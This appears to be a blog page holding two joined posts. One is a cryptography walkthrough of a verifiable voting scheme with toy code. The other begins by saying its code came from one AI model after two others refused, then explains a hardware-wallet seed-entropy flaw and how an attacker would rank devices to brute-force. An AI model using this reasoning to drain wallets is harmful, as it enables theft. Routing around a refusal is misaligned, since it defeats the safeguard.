Now the individual part. Suppose you’re voter 4. Your receipt is the serial — the leaf fd6df9e3530cb74f1f0795b751a43454cab281a431d0558b413e33bba83a4100, which is the hash of your commitment C = 16 at position 4 in the tree. To prove it’s in the tree, you don’t need to download and check all 8 votes — you need only log2(8) = 3 hashes, the path of “siblings” up to the root:

def merkle_verify(leaf, proof, root):
    cur = leaf
    for h_, side in proof:
        cur = H(h_ + cur) if side == "esq" else H(cur + h_)
    return cur == root

prova do eleitor 4:
  (dir) e0e9d38f9ccb7a41...  (irmão: folha do eleitor 5)
  (dir) 3149c3bf17d98fbc...  (irmão: nó dos eleitores 6-7)
  (esq) 3b902c849a40619b...  (irmão: nó dos eleitores 0-3)

verificação local: True
tentando folha adulterada: False

You take your serial, concatenate it with the 3 proof hashes in the right order, hash three times, and check whether you land on the public root. If you do, it’s mathematically impossible for your vote not to be in the tree — because producing a fake proof would require finding a SHA-256 collision, and nobody on the planet knows how to do that. If someone swaps your vote afterwards, your proof stops working and you hold evidence of the fraud in your hand. In a real election with 150 million votes, the proof would be about 28 hashes — fits on a paper receipt or a QR code.

Notice what just happened: you proved that a piece of information is in the public tree and that nobody messed with it, carrying home only a 32-byte number that, by itself, says absolutely nothing about the content. That’s what people mean by “zero knowledge” in this context: the verification happens without the knowledge (the vote) ever having to travel.

Building block 4: the Benaloh challenge — checking the machine on the spot

There’s one blind spot left. The machine shows “vote recorded” on the screen and prints your serial C. At home, you confirm that C sits in the tree. All good? Not quite. What if the machine lied and committed a different vote? The screen shows the candidate you picked, but under the hood it computed the commitment for another one. You would never notice, because the commitment is opaque by design. That’s the hiding property working against you.

The classic fix comes from cryptographer Josh Benaloh, and it goes by Benaloh challenge (or cast-or-challenge). The idea: after the machine shows the commitment C on screen, but before you confirm, you get two options:

• Cast: the vote counts, enters the tree, and the nonce is destroyed forever.
• Challenge: you declare that ballot a test vote. The machine must reveal the nonce and the vote it put inside the commitment, and you redo the math on the spot — in an independent app, on your own phone, not on the machine’s software:

# the machine showed on screen: C = 1
# you challenged; the machine reveals: vote=1, nonce=3
pedersen(1, 3) == 1   # True -> the machine committed exactly what you picked

If it matches, the machine was honest on that ballot. The test ballot is spoiled and never enters the tally — the revealed nonce would make it readable — and you vote again, for real this time.

Now suppose a rigged machine that flips a fraction of the votes. You pick vote=1; it internally records vote=0 and shows C = 12 on screen (pedersen(0, 7) = 12). If you cast, the fraud sails through. But if you challenge, the machine is cornered: it has to reveal a (vote, nonce) pair that opens C = 12. The only one it knows is (0, 7) — and revealing that exposes the swap right in front of you: “I voted 1!”. Opening it as vote=1 would require finding a nonce n with pedersen(1, n) = 12, which is the discrete log problem all over again. With our toy prime a brute force search finds one (n = 10 exists), but with 2048-bit primes a cheating machine flat out cannot produce the answer.

And what springs the trap: the machine cannot know in advance whether you’ll cast or challenge. The decision is yours, made after the commitment is already on screen. If a slice of the electorate tests a few ballots before voting for real, a machine that flips votes at scale gets caught with overwhelming probability. Real verifiable voting systems like Helios and ElectionGuard use exactly this mechanism.

And notice this breaks nobody’s secrecy: the revealed nonce belongs to a spoiled ballot that doesn’t count. The vote that counts keeps its nonce destroyed and its commitment impenetrable.

Building block 5: a real zero-knowledge proof — Schnorr

One more piece is missing. What guarantees that each commitment in the tree contains a valid vote — and not, say, vote = 500, which would inflate the result? The machine must prove the commitment opens to a legitimate value without opening the commitment. That’s a zero-knowledge proof in the strict sense.

The canonical example, and one you can demonstrate with small numbers, is the Schnorr protocol: proving you know a secret s such that y = g^s mod p, without revealing s. The intuition before the math: it’s Ali Baba’s cave. The cave has two passages that meet at a locked door. You prove you have the key by walking in one side and coming out whichever side the verifier calls — without ever showing the key. Without the key, you’d only guess the call right by luck, 50% of the time; after 20 rounds, the odds of fooling anyone are below one in a million.

The mathematical version, with our toy numbers (p = 23, g = 4, order q = 11):

segredo = 7
y = pow(g, segredo, p)   # y = 4^7 mod 23 = 8  (public value)

# 1. commitment: the prover picks a random r and sends t
r = 3
t = pow(g, r, p)          # t = 4^3 mod 23 = 18

# 2. challenge: the verifier picks a random c
c = 5

# 3. response: the prover computes z
z = (r + c * segredo) % q  # z = (3 + 5*7) mod 11 = 5

# verification: g^z == t * y^c (mod p)
esq = pow(g, z, p)                 # 4^5 mod 23 = 12
dir = (t * pow(y, c, p)) % p       # 18 * 8^5 mod 23 = 12
print(esq == dir)                  # True

It works because g^z = g^(r + c·s) = g^r · (g^s)^c = t · y^c. The algebra checks out. Now observe what the verifier saw: the numbers t, c, z, and the final check. At no point did the secret s = 7 show up. And an impostor who doesn’t know s can’t answer an arbitrary challenge: if they guess z = 2, the verifier computes g^2 = 16 ≠ 12 and the fraud is exposed.

And why does the verifier learn nothing about s, rather than just “not much”? Because the whole conversation could have been fabricated by someone who doesn’t know the secret, in this inverted order:

# simulator: pick c and z FIRST, then compute the t that closes the equation
c_sim, z_sim = 5, 9
t_sim = (pow(g, z_sim, p) * pow(y, -c_sim % q, p)) % p  # t = 8

# checking the forged transcript:
pow(g, z_sim, p)              # 4^9 mod 23 = 13
(t_sim * pow(y, c_sim, p)) % p  # 8 * 8^5 mod 23 = 13  -> it matches!

The forged transcript (t=8, c=5, z=9) passes verification and is indistinguishable from a real one. If anyone can fabricate a valid conversation without knowing the secret, then the real conversation cannot contain any information about the secret. That’s what “zero knowledge” formally means. (For use outside a lab, the challenge c is derived by hashing the commitment — the Fiat-Shamir transform — and the proof becomes a single, non-interactive object that anyone verifies offline.)

In our hypothetical election, the machine publishes, alongside each vote, a proof of this kind — in practice, an OR-variant (“the vote is 0 or it is 1”, without saying which) — and any auditor verifies that every vote in the tree is valid, without ever seeing a single one.

Building block 6: what stops phantom votes?

One hole is left, and it’s a favorite among digital-election skeptics: what stops the authority from stuffing the tree with invented votes? Every commitment in the Merkle tree carries a ZK proof that it contains a valid vote — but the proof only guarantees the value is 0 or 1. A thousand phantom votes would be a thousand perfectly valid commitments with perfectly correct proofs. The tree is public, anyone can count the leaves… but who says there should be 8 and not 8,000?

The first answer is replication. The tree follows the transparency-log model — the same Certificate Transparency that protects the HTTPS certificates you use all day: one publisher writes, and dozens of independent observers (parties, the bar association, universities, the press, you) copy the tree, sign the root, and cross-check each other. Rewriting history would mean convincing all of them to accept a root different from the one they already signed.

That protects what’s already published. But creating phantom votes? That’s where the most elegant piece of all comes in, from the same David Chaum who invented digital cash and mix-nets: the blind signature (1982).

The flow: you authenticate at the registration desk like today — ID, biometrics. In the booth, the machine computes your commitment (Building block 2), but before publishing it needs a credential from the desk. The machine blinds the commitment with a random factor and sends the desk only the blinded value — and here being online is no problem at all, as we saw in the air-gap section. The desk, which already registered your authentication, signs exactly once, without seeing the content. The machine unblinds the signature and publishes the pair (commitment, signature). In the end, the desk has no idea which commitment it signed — so it cannot link your identity to your vote. With toy RSA, you can watch the magic happen:

# the desk's toy RSA: n=3233, e=17 (public), d=2753 (private)
n, e, d = 3233, 17, 2753
C = 16        # your Pedersen commitment, the same one from Building block 3

# 1. the machine blinds the commitment with a random factor r
r = 7
cego = (C * pow(r, e, n)) % n       # 2341 -> this is all the desk sees

# 2. the desk, which already logged your authentication, signs the BLIND value
ass_cego = pow(cego, d, n) % n      # 216

# 3. the machine removes the blind factor and publishes (C, s) to the tree
s = (ass_cego * pow(r, -1, n)) % n  # 2802

# any auditor checks: s^e mod n == C ?
print(pow(s, e, n))   # 16 -> the commitment, with a valid signature!

Notice: the desk only saw the number 2341, which to them is noise. They signed 216 without knowing they were signing your C = 16. Yet the pair (C, s) passes any auditor’s verification. It’s a regular digital signature — s is exactly C^d mod n — just produced without the signer ever seeing the document. It looks like a magic trick, but it’s plain RSA algebra: blinding multiplies by r^e; signing raises everything to d, and since e·d ≡ 1, what’s left is C^d · r; unblinding divides by r, leaving C^d.

Now assemble the full picture: a leaf only enters the tree carrying two things — the ZK validity proof (Building block 5) and a credential signed by the desk (Building block 6). The desk issues one credential per authentication, and authentication is a public event: there’s a line at the precinct, poll workers, party watchers, the biometric log, the per-precinct attendance count published every election. At the end of the day, the equation anyone can check is:

number of leaves in the tree == number of authenticated voters.

A phantom vote is a leaf without a credential (doesn’t get in) or a credential without a voter (inflates the count and shows). Removing a legitimate vote breaks the receipt’s inclusion proof (Building block 3). Altering a published vote breaks the hashes on the observers’ copies. Stealing credentials would mean fooling the biometrics in front of watchers. Every fraud path hits a different wall — and every wall is checkable by anyone, from home.

The weakest link: who proves you are you?

Everything before this section is math. But there’s one door no math can lock: authentication. No algorithm proves the human standing in front of you is who they claim to be. That is, honestly, the weakest link in the entire system — and it’s worth facing head-on.

And here Brazil simplifies the problem, because it already paid the expensive part: the voter biometric registry exists and covers over 80% of the electorate — more than 124 million people, per the electoral court. National deduplication already ran: one finger exists only once in the roll, no matter how many forged documents back it up. And fingerprints already release the vote at the precinct — in 2026, in every precinct in the country. For this article’s hypothetical system, biometric authentication is free: reuse what’s already standing.

Of course, that registry existing is itself the privacy bet: biometrics are irrevocable data — you can change a password, not your fingerprints. Aadhaar, India’s biometric registry, had incidents exposing data on over a billion people; the OPM, the US government’s HR office, lost 5.6 million fingerprints in a single 2015 breach. A national biometric database is a single point of catastrophic, permanent failure — and Brazil already made that bet. The hypothetical system doesn’t make it worse; it just inherits it.

For anyone outside the biometric registry, the precinct falls back to the photo ID — and cards get forged. They probably get forged today. But notice what the architecture does to that problem: one forged authentication mints one credential, which yields one leaf in the tree. To fraud at scale, the criminal needs flesh-and-blood people showing up in person, in front of poll workers and watchers, once per fake vote. That’s retail fraud: expensive, visible, slow. A thousand fake votes require a thousand bodies — and then it’s not silent digital fraud anymore, it’s chartered-bus logistics everyone sees rolling by. The system doesn’t prevent forgery; it caps the damage per forgery at exactly one vote and pushes the cost into the physical world.

And anomalies surface: the equation from Building block 6 — leaves == authentications — can be checked precinct by precinct. A precinct with 400 registered voters and 420 authentications raises eyebrows. Regional turnout above 100% raises eyebrows. And if paranoia runs high, the desk’s signing key can be fragmented like the election key, requiring a quorum to issue credentials.

The honest summary: the link stays physical and human — a human proving, once, in public, that they’re on the roll — and no system, however perfect, eliminates it. The best possible design does two things with it: shrinks the trust surface down to that single event and makes its failures visible instead of silent. With biometrics valid at every precinct in 2026, identity forgery becomes the most expensive, least scalable path of all — which is exactly where a well-designed system wants it. There’s no free lunch, and pretending there is one is the kind of pitch this whole article refuses to make.

Putting it all together: the full protocol

The hypothetically perfect election would go like this:

1. Setup. A group of independent authorities (the electoral court, the bar association, parties, civil society) jointly generates the election’s public key. The corresponding private key stays fragmented: no single authority can decrypt anything; only a majority acting together can.
2. Authentication. The voter identifies at the registration desk — ID, biometrics, like today — and the desk logs the authentication. This authorizes the issuance of one credential: the blind signature on a commitment, without the desk seeing the content. No link between identity and vote.
3. Voting. The voter picks the candidate on the screen. The machine generates a random nonce, computes the Pedersen commitment and the ElGamal ciphertext of the same vote (the commitment becomes the receipt’s serial; the ciphertext is what gets tallied), produces the ZK validity proof, and shows the commitment on screen. The voter then decides: cast, and the nonce is destroyed — or challenge, and the machine reveals the nonce for an on-the-spot check, the ballot is spoiled, and they vote again. Once cast, the machine blinds the commitment, the desk signs it sight unseen, and the machine unblinds the signature.
4. Publication. The commitment goes into a public Merkle tree, together with the ZK proof and the credential — replicated and signed by multiple independent observers. No credential, no entry.
5. Receipt. The voter takes home a slip of paper with the serial. They cannot prove to anyone who they voted for — even if they want to, because they don’t have the nonce.
6. Individual verification. At home, the voter downloads the tree (or uses any independent website) and checks their serial is there, with the inclusion proof. If it isn’t, they hold material proof of fraud.
7. Universal verification. Any citizen, university, or party rebuilds the entire tree, checks the root, validates every ZK proof and credential, and confirms the leaf count matches the published per-precinct authentication totals.
8. Tallying. In the end, the encrypted votes go through a mix-net (they get re-shuffled and re-encrypted, severing the link to their original positions) and the authorities decrypt jointly, proving each step. The total matches the public root, or the fraud is evident.

Notice what changed relative to the current system: you no longer need to trust the electoral court, the voting machine, or any auditor. Every property is individually verifiable by anyone with a computer. It’s the same principle that lets Bitcoin work without a central bank: don’t trust, verify.

Before anyone gets too excited: this is a simplification. A real system still has to solve anonymous credentials more robust than our toy blind signature, tree availability, and a pile of operational details. The point here is not the complete design; it’s the core mechanism.

Why this would never work

Now for the part almost nobody proposing these systems wants to hear.

Scroll back to the beginning of this article and notice what I had to explain to get here: hash functions, commitments, modular arithmetic, discrete logarithms, Merkle trees, the Benaloh challenge, blind signatures, zero-knowledge proofs, simulators. With code, with numbers, with step-by-step examples. And even so, I’d bet a good share of readers — programmers included — made it here without full certainty that they truly understand why the scheme is secure.

And that’s not for lack of intelligence. It’s because trusting this system requires understanding math that the vast majority of the population will never understand. The only human being who can be 100% certain this system is correct is the one who can verify the mathematical proofs on their own. Everyone else — 99.9% of the population — wouldn’t be verifying anything. They’d be believing the mathematician who says it works.

And here we hit the fatal contradiction: if an electoral system requires the ordinary citizen to blindly believe a specialist they can’t audit, it is exactly as opaque as the TSE’s current system. The opacity just moved address: instead of trusting the court bureaucrat, you trust the cryptographer. For dona Maria, who sells pastel at the street market, it’s all the same — both are “a bunch of mumbo-jumbo I don’t understand”. And a system the population cannot understand is a system whose legitimacy it will never accept. Today’s skeptic saying “I don’t trust the voting machine” would become tomorrow’s skeptic saying “I don’t trust this algebra”.

An election is not only an engineering problem; it’s a social trust problem. The gold standard of transparency is the system anyone can watch with their own eyes: paper ballot, glass ballot box, public counting at the precinct, the tally posted on the door. Anyone understands paper being counted in public. Nobody has to believe anybody.

That’s why countries far richer and more technological than Brazil — Germany, the Netherlands, France, most of the US — stick with paper or demand an auditable paper trail. That’s not backwardness. It’s the recognition that verifiability only specialists understand is not public verifiability.

Sidebar: what cryptocurrencies prove every day

Before wrapping up, a detour to answer the question that always comes up: “but does this actually work, or is it napkin theory?” It works. And the proof has been running for almost two decades, moving billions of dollars, under constant attack: blockchains.

First, clearing up a misunderstanding: blockchain is not synonymous with cryptocurrency. As the name says, it’s just a chain of blocks. Each block carries a Merkle tree of records and the previous block’s hash. In Bitcoin, the block header holds the transaction tree’s root, the previous block’s hash, a timestamp, and a nonce — here, a mining counter — that miners vary until the hash of the entire block falls below the difficulty target: the famous proof of work. It’s Building block 3 of this article, extended through time: not one tree, but a chain of trees, each sealing the one before.

The practical result is the guarantee that matters here: tamper with one transaction in an old block and the tree’s root changes, the block’s hash changes, the link to the next block breaks, and to hide that you’d need to redo the proof of work of every block up to today — while thousands of honest nodes keep extending the true chain. Once everything is signed and sealed by hash, rewriting the past is computationally impossible. That’s exactly why Bitcoin can be 100% public: the exposure itself is the protection. Everyone has a copy of everything, so nobody rewrites history.

But public does not mean anonymous. That’s the part most people get wrong. In Bitcoin, every transaction stays visible forever: which addresses fed it, which received, how much moved. Addresses are pseudonyms — pen names, not anonymity. And there’s an entire chain-analysis industry (Chainalysis, Elliptic, TRM) making a living gluing identities to those pen names:

• Common-input heuristic: if a transaction spends coins from several addresses, they almost certainly belong to the same wallet. Group them into a cluster.
• Change detection: the output that returns to a fresh address usually belongs to the payer.
• Bridge to the real world: when a cluster’s address touches a KYC exchange, a name and a tax ID attach to the whole cluster — and to its complete history, retroactively.

That’s how the FBI recovered part of the Colonial Pipeline ransom, that’s how the Silk Road coins were traced years later, and that’s how the ~1,128 BTC stolen from ColdCards are still sitting in known addresses half the world is watching — I detailed it in the article about Coinkite’s RNG. If the thief moves a single satoshi to a KYC exchange, they identify themselves. The chain guarantees integrity, not secrecy.

For real anonymity, the chain alone doesn’t cut it: you need zero-knowledge proofs. Monero, for instance, combines three techniques:

1. Ring signatures: each spend is signed on behalf of a group of possible keys. The signature proves one of them authorized it, without revealing which.
2. Stealth addresses: the recipient’s address never appears on the chain; each payment creates a disposable address derived from a shared secret.
3. RingCT (confidential transactions): amounts stay hidden inside Pedersen commitments — yes, the exact same Building block 2 from this article — and a ZK range proof guarantees nobody minted coins out of thin air, without revealing any amount.

Zcash follows the same philosophy with zk-SNARKs: you prove “I own a valid, unspent note” without revealing which note. The network verifies the proof, accepts the transaction, and learns neither sender, recipient, nor value.

And here the circle closes. Look at what this article’s electoral scheme uses: a public, immutable structure anyone can verify (the Merkle tree, the blockchain’s simpler cousin), Pedersen commitments to hide content (the same primitive as Monero), and ZK proofs to guarantee validity without revelation (the same family as Monero and Zcash). None of this is lab conjecture: these are production systems, audited, attacked daily, protecting real money. An election is, if anything, a simpler problem — short window, a single publisher, offline verification.

That’s why I said at the beginning that the idea is mathematically solid: it invents nothing, it just composes pieces that already proved they can survive the real world. We know an end-to-end verifiable digital election could be built, because every one of its components is already built and running. Which brings us back to the problem that isn’t technical.

Conclusion

Let me make it clear once more, as I did in the tweets: this is not a proposal, it’s an exercise. I don’t know the solution to Brazil’s electoral trust problem. If I did, I’d be publishing a paper, not a blog post.

But the exercise is worth it for two reasons. First, because it shows the technology for individual and universal verifiability exists — anyone who says “digital elections are inherently unauditable” is wrong. Second, because it shows the real limit: the frontier isn’t technical, it’s epistemological. A perfect system nobody understands fails at the same point as an imperfect system nobody can audit.

If you understood every line of this article, congratulations: you’re part of a minority far too small to carry a democracy on its back.

Appendix 1: so is the current system auditable?

A fair question hangs in the air: so the current system has no auditing at all? It does, and it’s worth being honest about that. What doesn’t exist is a specific kind of audit: one that doesn’t depend on software. Let’s take it piece by piece.

The current arsenal, summarized and sourced:

• Source code inspection. Parties, the bar association, the federal audit court, the Federal Police, the prosecutor’s office, and universities can examine the systems’ code at the electoral court’s headquarters, months before the election — the so-called transparency cycle.
• Public Security Test (TPS). Outside researchers genuinely try to attack the system. And it works: in 2012, professor Diego Aranha’s team unscrambled the RDV and showed it was possible to learn who each voter had voted for; in 2017, they managed to tamper with the voting software before installation (the story is in Revista Pesquisa FAPESP and in this Lupa summary). The flaws found were fixed afterwards.
• Zero report, BU, and the Integrity Test. Before voting starts, the machine prints a zeroed-out report. At the end of the day, it prints the Boletim de Urna, posted at the precinct and published digitally with a QR code — anyone can download the BUs and add them up independently. And a random sample of machines is diverted to a filmed parallel vote, comparing the paper record against the digital one.
• RDV — the “digital recount”. The machine records each individual vote in a shuffled, anonymized file, published afterwards (definition in TSE Resolution 23.673/2021). Parties and authorized entities can re-sum the votes and cross-check against the BUs and the official tally — the official mechanism presented as the substitute for a paper recount (the electoral court’s explanation).
• External audits. In 2022, the federal audit court (TCU) cross-checked 9 million records from 4,577 precincts against the tallying database and found zero discrepancies — probability of fraud “approaching 0%” (CNN Brasil). The Carter Center observed the 2022 elections, registered no evidence of fraud, and acknowledged the audits’ expansion (mission statement).

Now the “but” this whole article builds toward: every layer on that list depends on software or on a ceremony run by the electoral court itself. The BU × RDV comparison proves internal consistency — that the published numbers match the recorded numbers. It does not prove the recorded numbers reflect what voters pressed on the screen, because a tampered machine would produce a tampered BU and RDV in perfect mutual agreement. As Aranha himself puts it: every audit available today depends on the software; if the program is tampered with, every check falls together (Folha de S.Paulo). And the Integrity Test, which covers a small sample of machines, is a poor cousin of the Benaloh challenge from Building block 4: instead of each voter auditing their own ballot on the spot, the auditing is done by a sample drawn and conducted by the system itself.

There’s also the legal chapter: the attempt to create a voter-verifiable paper record, the “printed vote,” was ruled unconstitutional by the Supreme Court in ADI 4543 over ballot-secrecy risks, and the attempt to revive it was struck down again in 2020 (Conjur). The irony is that this article’s scheme resolves exactly the conflict that killed the printed vote: a verifiable receipt without breaking secrecy, via commitments and ZK proofs. The math unlocks what paper couldn’t. Everything else stays locked, as the previous sections explain.

So the honest verdict: the Brazilian system is auditable in real digital and procedural ways, and no fraud altering an outcome has ever been proven in nearly 30 years of electronic voting. But there is no software-independent recount, because there is no voter-verified physical record. In the language of election-security research, a true risk-limiting audit is not possible. Trust stays deposited in the software, the pre-election inspections, and the custody of digital records — exactly what this article’s hypothetical system tries to eliminate.

Appendix 2: skin in the game — rewarding those who verify

One question hangs in the air after assembling the whole scheme: cryptocurrencies work because someone has something to lose. In Bitcoin, the miner burns real energy; in proof-of-stake, the validator deposits capital that gets confiscated if they cheat. And the voter? Voting costs nothing, and checking the receipt at home is work you do for free. The entire system depends on people verifying — and nobody has an incentive to verify. Can you put skin in the game on the voter?

The first idea that comes to mind is a deposit: vote, deposit some money, get it back later through the income tax system. As mechanism design, it has logic — it prices fake identities: a million phantom votes would cost a hundred million reais. In practice, it dies in three places. It’s a disguised poll tax, exclusionary and unconstitutional — the refund fixes the accounting, not the cash flow of someone who doesn’t have the money to front. The “income tax” channel doesn’t reach most poor Brazilians, who don’t even file — so it excludes exactly who the system most needs to include. And it would build, at the tax authority, a database linking identity, bank account, and electoral participation — a surveillance regression bigger than the problem it solves. All that before the plutocratic detail: security priced in money is security buyable by those who have money. Elections are designed to be wealth-blind — one vote per person. Putting a price on the security layer invites the rich to be more equal than the others.

The version that survives this scrutiny flips the sign: instead of charging to vote, reward those who verify. The scheme’s real soft spot is the individual verification rate — if nobody checks their serial at home, the inclusion proof from Building block 3 becomes decoration. So: every verified receipt enters a public, auditable lottery, with the tree’s own root serving as the randomness source (one more use for it). Checked your vote in the tree? You’re in the drawing for a prize. The incentive points exactly at the behavior the system needs — millions of eyes checking the tree — without excluding anyone, charging anything, or building a new database, because the lottery runs on the anonymous serial, not on identity.

It’s Bitcoin’s logic on the right side: there, the block reward pays thousands of machines to keep the ledger honest; here, the prize would pay millions of voters to keep the election honest. It’s almost a proof of verification: the block reward pays for the hashing work that keeps Bitcoin going, and the prize would pay for the checking work that would keep the election going. It’s not a proposal — like nothing in this article — but as an incentive-design exercise, it’s the version I’d put on paper.

Appendix 3: why “zero knowledge” is so hard to swallow

If you made it here feeling like you understood each piece individually but wouldn’t swear you understood the whole thing, relax: you’re in excellent company. When Goldwasser, Micali, and Rackoff formalized zero-knowledge proofs in the 1980s, the idea sounded paradoxical even to career cryptographers. Every proof we’d ever known worked by showing something. How can a proof transfer conviction while transferring no information at all?

The math from Building blocks 2 through 5 is the complete answer, but intuition lags behind. So here are two classic analogies involving no equations at all — each one lights up half of the concept.

Where’s Waldo? I claim I found Waldo on the page, and I want to prove it without revealing where he is — otherwise you win the game for free. The solution: I take a huge sheet of cardboard, much bigger than the book, cut a small hole in the middle, and place it over the page so only Waldo shows through. You see Waldo. But since the cardboard covers everything around him, you have no idea which corner of the page he’s in. I proved I know the location; you learned zero about it. And notice what holds the proof up: if I didn’t know where he was, I couldn’t have positioned the cardboard — the odds of landing the hole on Waldo by luck are tiny. It’s Ali Baba’s cave all over again, this time with cardboard.

The color-blind friend’s two balls. Your friend is red-green color-blind. You have two balls identical in size, weight, and texture — one red, one green — and you claim: “these balls are different colors.” To him, they’re indistinguishable. How do you prove it without revealing which is which? He shows you the balls, one in each hand. He puts his hands behind his back and decides, on his own, whether to swap them or not. He shows them again and asks: “did I swap?” You, who see the colors, answer correctly every time. He, who doesn’t, couldn’t do better than 50%. After 20 correct answers in a row, he’s convinced the balls differ — the odds of you bluffing 20 rounds are one in a million. And what did he learn about which ball is red? Nothing. Every answer you gave (“swapped”, “didn’t swap”) was something he already knew — after all, he was the one who decided whether to swap. The round’s information was already his; the only new thing is the conviction that you can see the difference.

The formal version of that intuition is the simulator from Building block 5: if anyone, knowing no secret at all, can fabricate a “recording” of a proof session indistinguishable from a real one, then the real session cannot carry any information about the secret. The convincing power comes from the order of operations — commitment first, challenge after. The zero knowledge comes from the recording, on its own, being forgeable. Both things are true at the same time, for different reasons. That’s why the concept feels slippery: you’re holding two facts that seem to contradict each other until you notice each one rests on something different.

And if the concept still feels slippery after all of this, good: you’ve just experienced the article’s central argument firsthand.

The didactic code in this article was generated with Kimi K3. It is worth noting that, given the same prompt, both Claude and GPT refused to produce the same kind of example — both cited risk of malicious use, even though the goal here is exactly the opposite: to show why the vulnerability works so victims understand the risk and can protect themselves.

The goal is to answer, line by line, a question many people asked: “if the ColdCard stays offline, how did the bitcoins disappear?”.

Warning: the code here is educational. Running it against addresses that are not yours is a crime. Use it to understand the risk, test your own seeds in a controlled environment, and reinforce why you need to generate fresh entropy.

Summary of the previous post

Between March 2021 and the July 2026 fix, several ColdCard firmwares generated seeds from a deterministic generator instead of the hardware TRNG. The blame lies in a botched integration: the macro MICROPY_HW_ENABLE_RNG was defined as 0, but the guard in libNgU used #ifndef, which only asks whether the symbol exists. The build succeeded, the rng_get() call fell through to MicroPython’s Yasmarang software fallback, and the seed became a product of the microcontroller UID and timing registers.

For readers who do not work with hardware, here is what those acronyms mean:

• UID (Unique Identifier) is the serial number burned into the microcontroller chip at the factory. In the STM32F4 used by the ColdCard, it is 96 bits long — something like 0x4A3F B201 C847 D5E9 1234 5678. Every chip leaves the assembly line with a different UID, but it is fixed and can be read by software. If the attacker knows (or can constrain) this number, they eliminate one of the unknowns.
• RTC (Real-Time Clock) is the microcontroller’s real-time clock. In a PC, that clock is usually backed by a coin-cell battery and keeps running while the machine is off. The ColdCard has no such battery. On Mk2/Mk3 the RTC oscillator is disabled at startup, which strongly suggests that the RTC->TR and RTC->SSR registers read as zero or a static value every time the device cold-boots. On Mk4/Q/Mk5 an RTC source is configured but marked unused, and MicroPython’s RTC initialization remains disabled. In other words, “time” is not a fresh entropy source here — it is another fixed or predictable value that an attacker can profile.
• SysTick is another timer, this one inside the ARM core itself, counting at high speed — typically from 0 to 0x00FFFFFF and rolling over. When the firmware reads this counter at seed-creation time, it captures a value like 0x003D7A12. Because the RTC likely does not vary across cold boots, SysTick becomes practically the only dynamic element of the initial state. Block estimates that, by itself, it can shrink the space to ~80,000 possibilities (~16 bits).

Block’s independent analysis and Coinkite’s technical backgrounder agree on the mechanism, although they differ on impact details. Yesterday’s post has the full affected-firmware table.

The central point is: the effective entropy dropped from at least 128 bits to roughly 40 bits on the Mk3 and 72 bits (with caveats) on newer models. Forty bits are not secure. They are enumerable with cheap hardware.

The wallet does not sit “inside” the ColdCard

Before diving into the attack, repeat the basics. Bitcoin does not sit inside the device. The public blockchain contains UTXOs — transaction outputs — locked by scripts. What your wallet stores is the material to produce signatures that satisfy those scripts.

In the most common case, a native SegWit address is derived from a public key, which in turn comes from a private key, which is just an integer inside the domain of the secp256k1 curve. Whoever knows the integer can sign. Whoever does not, cannot.

That is why the ColdCard can be powered off, battery-less, inside a safe. The attacker does not need to touch it. They only need to reproduce the same integer that the device drew. With a weak RNG, that stops being impossible and becomes a small search space.

You can see any wallet on the blockchain. Just paste an address or xpub into an explorer like mempool.space. The explorer shows balance, UTXOs, and history because that data is public by design. The ColdCard, Ledger, Sparrow, Electrum — none of them “hold” your bitcoins; they only keep the keys that let you spend the UTXOs in the global ledger.

How the attacker prioritizes models

Not all models are equally easy to attack. The priority order follows the search-space size:

Why is the Mk3 the easiest? Because it has no cryptographic contribution from a secure element. The Yasmarang fallback is fully deterministic given the UID and timer state. If the attacker knows (or can constrain) those values, there is no residual secret. Coinkite estimates the effective space at about 40 bits; Block shows that, because Mk2/Mk3 RTC values likely start at zero or a static value on cold boot, SysTick alone limits the space to ~80,000 values, i.e. ~16 bits.

On Mk4/Q/Mk5 the secure-element reseed adds 32 bits. That is enough to make the attack much more expensive — but still far from the acceptable 128-bit minimum. Block also points out a source path where a caught exception during initialization can prevent the reseed, falling back to the smaller space.

A rational attacker starts with the biggest return: Mk2/Mk3 v4. Only with leftover resources do they move to Mk4/Q/Mk5.

128 bits, 40 bits, and 72 bits: what is the difference?

Bits measure the size of the search space. Each extra bit doubles the work. The difference is not small — it is exponential.

Imagine you can test 1 billion candidates per second:

Another way to picture it: 40 bits is like finding a specific leaf in a small forest. 72 bits is like finding a specific grain of sand on all the beaches on Earth. 128 bits is like finding a specific atom among the atoms of thousands of planets.

That is why 40 bits is not “slightly less secure” than 128. It is a completely different category: practical to attack with common hardware. 72 bits already demands serious resources, but still falls short of the acceptable minimum for storing value. 128 bits is the standard because, with known computing power, it cannot be beaten.

From an integer to a wallet

Below is a real example of how a number (the entropy) becomes a seed, a private key, and an address. I used 16 bytes (128 bits) just to fit on one line; the ColdCard used 32 bytes, but the idea is the same.

from embit.bip39 import mnemonic_from_bytes, mnemonic_to_seed
from embit.bip32 import HDKey
from embit.script import p2wpkh

entropy = bytes.fromhex("0123456789abcdef0123456789abcdef")  # 128 bits
mnemonic = mnemonic_from_bytes(entropy)
seed = mnemonic_to_seed(mnemonic)
root = HDKey.from_seed(seed)
key = root.derive("m/84'/0'/0'/0/0")

Output:

entropy (128 bits): 0123456789abcdef0123456789abcdef
mnemonic (12 words): abuse boss fly battle rubber wasp afraid hamster guide essence vibrant tattoo
seed (64 bytes): a3a99acc7fe076cdc923d0ae79ee735671d8d70a79de19593cca8638f3194251...
root xprv: xprv9s21ZrQH143K25JhKqEwvJW7QAiVvkmi4WRenBZanA6kxHKtKAQQKwZG65kC...
private key (integer): 1332683685242456724974769347593961509584253593377187298409830148921683854281
address: bc1qxjayuwxqj04waw2j4xp5mlhjl47dzdl9mcjmnw

The private key is just an integer. From it, the elliptic curve computes the public key; the public key is hashed into the address. The address is what appears on the blockchain; the integer is what lets you spend.

In the ColdCard case, the integer did not have 128 bits of real randomness. It had ~40. So instead of searching for a needle in the universe, the attacker was searching for a needle in a small forest.

Real evidence on the blockchain

I am not making up numbers. The independent site coldcard-watch.vercel.app has been tracking the drains transaction by transaction and publishes the verified minimum: 1,128.6633 BTC drained from 2,334 confirmed addresses. The site itself stresses that these are verified minimums, not totals — other clusters likely exist.

It identifies two draining episodes:

• July 30, 2026, blocks 960183 to 960191 — 1,195 addresses drained.
• July 31, 2026, blocks 960345 to 960369 — 1,126 addresses drained.

The main public clusters making up that minimum include:

• bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0 — received 594.47723261 BTC in 501 outputs.
• bc1qx76cae2706qd5q576feh7xq8rfcsjpf2htfhe3 — received ~398.476 BTC in a single transaction with 491 inputs (14edd9ee...).
